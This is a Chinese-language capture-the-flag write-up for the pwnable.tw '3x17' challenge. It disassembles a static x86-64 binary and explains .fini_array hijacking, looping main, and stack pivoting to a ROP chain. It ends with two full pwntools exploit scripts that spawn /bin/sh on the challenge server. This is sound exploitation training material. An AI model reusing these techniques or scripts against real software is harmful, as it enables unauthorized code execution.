pwnable.tw_3x17

半年没碰pwnable了,一位朋友让我看的这个题
分值不高,也挺简单
不过踩了两个坑(方案二三)觉得比较有意思,记录一下

Analyze:

静态编译,便于分析,添加sig:

1
2
python lscan.py  -f  ./3x17 -S ./amd64/sig/
#不过这题没什么用

题目保护:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found#静态编译,存在canary保护,只是没有检测到
NX: NX enabled
PIE: No PIE (0x400000)

程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int result; // eax
int v4; // eax
char *v5; // ST08_8
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v7 = __readfsqword(0x28u);
result = (unsigned __int8)++read_flag;
if ( read_flag == 1 )
{
write(1u, "addr:", 5uLL);
read(0, &buf, 0x18uLL);
stroll((__int64)&buf);
v5 = (char *)v4;
write(1u, "data:", 5uLL);
read(0, v5, 0x18uLL);
result = 0;
}
return result;

对应汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
.text:0000000000401B6D ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401B6D main proc near ; DATA XREF: start+1D↑o
.text:0000000000401B6D
.text:0000000000401B6D var_28 = qword ptr -28h
.text:0000000000401B6D buf = byte ptr -20h
.text:0000000000401B6D var_8 = qword ptr -8
.text:0000000000401B6D
.text:0000000000401B6D ; __unwind {
.text:0000000000401B6D push rbp
.text:0000000000401B6E mov rbp, rsp
.text:0000000000401B71 sub rsp, 30h
.text:0000000000401B75 mov rax, fs:28h
.text:0000000000401B7E mov [rbp+var_8], rax
.text:0000000000401B82 xor eax, eax
.text:0000000000401B84 movzx eax, cs:read_flag
.text:0000000000401B8B add eax, 1
.text:0000000000401B8E mov cs:read_flag, al
.text:0000000000401B94 movzx eax, cs:read_flag
.text:0000000000401B9B cmp al, 1
.text:0000000000401B9D jnz loc_401C35
.text:0000000000401BA3 mov [rbp+var_28], 0
.text:0000000000401BAB mov edx, 5 ; count
.text:0000000000401BB0 lea rsi, buf ; "addr:"
.text:0000000000401BB7 mov edi, 1 ; fd
.text:0000000000401BBC mov eax, 0
.text:0000000000401BC1 call write
.text:0000000000401BC6 lea rax, [rbp+buf]
.text:0000000000401BCA mov edx, 18h ; count
.text:0000000000401BCF mov rsi, rax ; buf
.text:0000000000401BD2 mov edi, 0 ; fd
.text:0000000000401BD7 mov eax, 0
.text:0000000000401BDC call read
.text:0000000000401BE1 lea rax, [rbp+buf]
.text:0000000000401BE5 mov rdi, rax
.text:0000000000401BE8 mov eax, 0
.text:0000000000401BED call stroll
.text:0000000000401BF2 cdqe
.text:0000000000401BF4 mov [rbp+var_28], rax
.text:0000000000401BF8 mov edx, 5 ; count
.text:0000000000401BFD lea rsi, aData ; "data:"
.text:0000000000401C04 mov edi, 1 ; fd
.text:0000000000401C09 mov eax, 0
.text:0000000000401C0E call write
.text:0000000000401C13 mov rax, [rbp+var_28]
.text:0000000000401C17 mov edx, 18h ; count
.text:0000000000401C1C mov rsi, rax ; buf
.text:0000000000401C1F mov edi, 0 ; fd
.text:0000000000401C24 mov eax, 0
.text:0000000000401C29 call read
.text:0000000000401C2E mov eax, 0
.text:0000000000401C33 jmp short loc_401C37
.text:0000000000401C35 ; ---------------------------------------------------------------------------
.text:0000000000401C35
.text:0000000000401C35 loc_401C35: ; CODE XREF: main+30↑j
.text:0000000000401C35 nop
.text:0000000000401C36 nop
.text:0000000000401C37
.text:0000000000401C37 loc_401C37: ; CODE XREF: main+C6↑j
.text:0000000000401C37 mov rcx, [rbp+var_8]
.text:0000000000401C3B xor rcx, fs:28h
.text:0000000000401C44 jz short locret_401C4B
.text:0000000000401C46 call ___stack_chk_fail
.text:0000000000401C4B ; ---------------------------------------------------------------------------
.text:0000000000401C4B
.text:0000000000401C4B locret_401C4B: ; CODE XREF: main+D7↑j
.text:0000000000401C4B leave
.text:0000000000401C4C retn
.text:0000000000401C4C ; } // starts at 401B6D
.text:0000000000401C4C main endp

可以看到:

1
2
3
4
5
程序静态编译,没有地址随机化,且为任意地址写
.bss段的read_flag记录此函数调用次数,只有read_flag归零时才可再次写
搜索"exit 0"(system function)、"/bin/sh"、"LINUX - sys_execv"(ida自动注释)......都没有结果
所以应该不存在后门,需要自己构造ROP
或者调用mprotect等方法更改内存权限执行shellcode(下下策)

首先跟踪整个程序流找到可以控制程序流的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.text:0000000000402960 sub_402960      proc near               ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960 push rbp
.text:0000000000402961 lea rax, unk_4B4100
.text:0000000000402968 lea rbp, off_4B40F0
.text:000000000040296F push rbx
.text:0000000000402970 sub rax, rbp
.text:0000000000402973 sub rsp, 8
.text:0000000000402977 sar rax, 3
.text:000000000040297B jz short loc_402996
.text:000000000040297D lea rbx, [rax-1]
.text:0000000000402981 nop dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996: ; CODE XREF: sub_402960+1B↑j
.text:0000000000402996 add rsp, 8
.text:000000000040299A pop rbx
.text:000000000040299B pop rbp
.text:000000000040299C jmp sub_48E32C
.text:000000000040299C ; } // starts at 402960

其实还有一个地方:

1
2
3
4
5
6
7
.text:000000000040F7FF                 mov     rdx, [rax+18h]
.text:000000000040F803 mov qword ptr [rax+10h], 0
.text:000000000040F80B mov esi, ebp
.text:000000000040F80D ror rdx, 11h
.text:000000000040F811 xor rdx, fs:30h
.text:000000000040F81A mov rdi, [rax+20h]
.text:000000000040F81E call rdx

这里rax=0x4b98e0,也可以写rax+0x18位置,不过存在xor rdx, fs:30h,无法预知fs:30h,所以此处不行
IP在0x402988时:

1
2
RBX  0x1
RBP 0x4b40f0->.fini_array

所以只要覆盖.fini_array即可劫持程序流

方案一

首先可以确定:

1
2
3
4
5
.text:0000000000401B84                 movzx   eax, cs:read_flag
.text:0000000000401B8B add eax, 1
.text:0000000000401B8E mov cs:read_flag, al
.text:0000000000401B94 movzx eax, cs:read_flag
.text:0000000000401B9B cmp al, 1

可以想方法通过一个循环来使read_flag字节0x100循环自动归零(0xFF+1->0):

1
2
3
4
5
6
7
8
9
10
11
12
13
我们将0x4b40f0位置覆盖为0x401b6d(main function addr)
继续跟踪流,当函数返回时,rbx依然为1:
.text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:000000000040298C sub rbx, 1 #rbx=0
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988 #跳转
------->
.text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
#即调用0x4b40f0处的函数地址
因此可以将0x4b40f0重新覆盖为sub_402960
形成sub_402960和main function之间的循环来不断写地址

可以无限次写入后,便可以布置rop chain
而后只需要中断循环并迁移栈段即可:
将0x4b40f0覆盖为0x401c4b:

1
2
.text:0000000000401C4B                 leave
.text:0000000000401C4C retn

此时:

1
2
3
4
5
6
7
8
9
10
rbp=0x4b40f0,rbx=0
call qword ptr [rbp+rbx*8+0] #0x401c4b
->leave #rbp=0x401c4b,rsp=0x4b40f8
->ret #rip=*0x4b40f8=0x401b6d,rsp=0x4b4100
->push rbp# *0x4b40f8=rbp=0x401c4b,rsp=0x4b40f8
->mov rbp, rsp# rbp=0x4b40f8
......
......
->leave #rbp=0x401c4b,rsp=0x4b4100
->ret #return 2 ropchain

方案二

同样是循环main function来无限写
不过循环地方不同:
可以构造.fini_array:

1
2
0x4b40f0->0x4b40f0
0x4b40f8->0x401b71#sub rsp,0x30......

这里主要是先进行栈段迁移,再利用不进行push rbp操作造成栈段退出leave ret时rbp依然保持我们构造的fake_rbp,从而造成循环
不过这个方案不可行,当循环进可写时,注意到此时:

1
2
3
RBP  0x4b40f0
RSP 0x4b40c8
栈帧长度并不是0x30,而是0x28->因为我们构造循环时没有进行"push rbp mov rbp,rsp",而是直接sub rsp,0x30

但是注意到main function中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0000000000401BE1                 lea     rax, [rbp+buf]
.text:0000000000401BE5 mov rdi, rax
.text:0000000000401BE8 mov eax, 0
.text:0000000000401BED call stroll
.text:0000000000401BF2 cdqe
.text:0000000000401BF4 mov [rbp+var_28], rax
.text:0000000000401BF8 mov edx, 5 ; count
.text:0000000000401BFD lea rsi, aData ; "data:"
.text:0000000000401C04 mov edi, 1 ; fd
.text:0000000000401C09 mov eax, 0
.text:0000000000401C0E call write
.text:0000000000401C13 mov rax, [rbp+var_28]
.text:0000000000401C17 mov edx, 18h ; count
.text:0000000000401C1C mov rsi, rax ; buf
.text:0000000000401C1F mov edi, 0 ; fd
.text:0000000000401C24 mov eax, 0
.text:0000000000401C29 call read

我们任意地址读的地址是在保存在rbp+var_28中,其间调用了一次write,因而会将返回地址覆盖到rbp+var_28处,从而导致后面操作失败,因此本方案需要main function的栈帧提高8 bytes(sub rsp,0x38)

方案三

首先考虑的一个方案
可以让返回地址为(.fini_array):

1
.text:0000000000401BA3                 mov     [rbp+var_28], 0

此时已进行完read_flag位的检测,不过要想办法绕过canary:
跟踪___stack_chk_fail程序流就可以发现有几处通过.plt表实现调用:

1
2
3
4
例如:
.text:000000000041337F call sub_4010C0
and
.text:00000000004132F9 call sub_401058

所以第一次劫持程序流后可以修改对应got表中的数据实现永久劫持(只需要永远不绕过canary)
这样直接可以无限次地址写
不过这样便无法迁移栈段,而且:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r--p 1000 0 /home/regedit/pwnable/3x17
0x401000 0x48f000 r-xp 8e000 1000 /home/regedit/pwnable/3x17
0x48f000 0x4b3000 r--p 24000 8f000 /home/regedit/pwnable/3x17
0x4b4000 0x4ba000 rw-p 6000 b3000 /home/regedit/pwnable/3x17
0x4ba000 0x4bb000 rw-p 1000 0
0x1841000 0x1864000 rw-p 23000 0 [heap]
0x7fff7995a000 0x7fff7997c000 rw-p 22000 0 [stack]
0x7fff799d5000 0x7fff799d8000 r--p 3000 0 [vvar]
0x7fff799d8000 0x7fff799da000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

可写的地方没有执行权限,所以也只是任意地址写,无法再次将程序流劫持到别的地方(不知道栈地址,没办法改rsp/rbp/返回地址)
不过实际上可以考虑先迁移栈段再劫持___stack_chk_fail,但是不能用方案一二的方法迁移(因为还会导向方案二的错误):
首先canary为了防止leak,低字节总为\x00
可以利用这个特点

注意到:

1
2
.text:0000000000401B75                 mov     rax, fs:28h
.text:0000000000401B7E mov [rbp+var_8], rax

所以可以首先劫持程序流到0x401b75(利用.fini_array):
覆盖:

1
2
0x4b40f0->0x4B9338
0x4b40f8->0x401b75

此时:

1
2
3
4
5
leave->
rbp=0x4b9338
rsp=0x4b40f8
ret->
rip=*rsp=0x401b75

而后:

1
2
3
4
5
.text:0000000000401B75                 mov     rax, fs:28h
.text:0000000000401B7E mov [rbp+var_8], rax
->*rbp-0x8=*0x4b9330=canary
&(byte *)read_flag=0x4b9330
read_flag即为\x00

此时迁移了栈段,然后此时read_flag=0,即可获得一次写机会(写got表),注意此时read_flag++,canary就会改变,从而造成stack_chk_fail,成功劫持程序流并控制了栈段,但是方案依旧不可行,因为栈向低处增长,所以当第二次写的时候因为stack_chk_fail过程中栈顶(rsp)不断减小的关系,会到达0x4b4000处,此时会有一个push操作,而addr<0x4b4000不具有可写权限,会导致程序崩溃
不过可以考虑先用___stack_chk_fail布置栈空间,再利用方案一迁移栈段即可

方案四

这是后来我看到pernicious师傅的方案:

1
2
3
4
5
6
7
8
9
set dtors to [do_dtors, main] so control flow is: do_dtors -> call [1] main, call [0] do_dtors -> ... and now we have infinitely many writes
corrupt _IO_list_all by overwriting stderr and creating a chain of two fake file structs:
- first has write_base/write_end set up such that on flushing, it will write out a stack pointer from the data section (this means the vtable entries are legit functions)
- second simply calls main
set dtors to [do_dtors, _IO_flush_all_lockp] so control flow is: do_dtors -> { call [1] _IO_flush_all_lockp -> main }, call [2] do_dtors -> ... so we still have infinitely many writes (and get the stack leak on the first iteration)
reset dtors to [do_dtors, main]
realize the address to write to is a sign-extended 4 byte int........ so can't just write to the stack.....
overwrite stderr again, with write_base/write_end pointing to the stack, and have it call _IO_file_read instead of _IO_file_write so it reads onto the stack rather than writing
set dtors to [_IO_flush_all_lockp] which triggers the read onto the stack, send a ropchain

最终EXP为方案一&&方案三:

EXP:

方案一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

#context.log_level="debug"
#p=process("3x17")
p=remote("chall.pwnable.tw",10105)

#_fini_array
p.sendlineafter("addr:",str(0x4b40f0))
p.sendafter("data:",p64(0x402960)+p64(0x401b6d))

#rop_chain
pop_rdi=0x401696
pop_rax=0x41e4af
pop_rdx_rsi=0x44a309
bin_sh_addr=0x4b4140
p.sendlineafter("addr:",str(0x4b4100))
p.sendafter("data:",p64(pop_rdi))
p.sendlineafter("addr:",str(0x4b4108))
p.sendafter("data:",p64(bin_sh_addr)+p64(pop_rax)+p64(0x3b))
p.sendlineafter("addr:",str(0x4b4120))
p.sendafter("data:",p64(pop_rdx_rsi)+p64(0)+p64(0))
p.sendlineafter("addr:",str(0x4b4138))
p.sendafter("data:",p64(0x446e2c)+"/bin/sh\x00")

#get_shell
p.sendlineafter("addr:",str(0x4b40f0))
p.sendafter("data:",p64(0x401c4b))
p.interactive()

方案三:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context.log_level="debug"
#p=process("3x17")
p=remote("chall.pwnable.tw",10105)
#_fini_array
p.sendlineafter("addr:",str(0x4b40f0))
p.sendafter("data:",p64(0x402960)+p64(0x401ba3))

#overwrite .plt
p.sendlineafter("addr:",str(0x4b70c0))
p.sendafter("data:",p64(0x401ba3))

#rop_chain
pop_rdi=0x401696
pop_rax=0x41e4af
pop_rdx_rsi=0x44a309
bin_sh_addr=0x4b4140
pop_rsp_ret=0x0402ba9
p.sendlineafter("addr:",str(0x4b40f0))
p.sendafter("data:",p64(0x4b40f8)+p64(0x401c4b))
p.sendlineafter("addr:",str(0x4b4100))
p.sendafter("data:",p64(pop_rdi))
p.sendlineafter("addr:",str(0x4b4108))
p.sendafter("data:",p64(bin_sh_addr)+p64(pop_rax)+p64(0x3b))
p.sendlineafter("addr:",str(0x4b4120))
p.sendafter("data:",p64(pop_rdx_rsi)+p64(0)+p64(0))
p.sendlineafter("addr:",str(0x4b4138))
p.sendafter("data:",p64(0x446e2c)+"/bin/sh\x00")

#get shell
p.sendafter("addr:",str(0x4b70c0))
p.sendlineafter("data:",p64(0x402960))
p.interactive()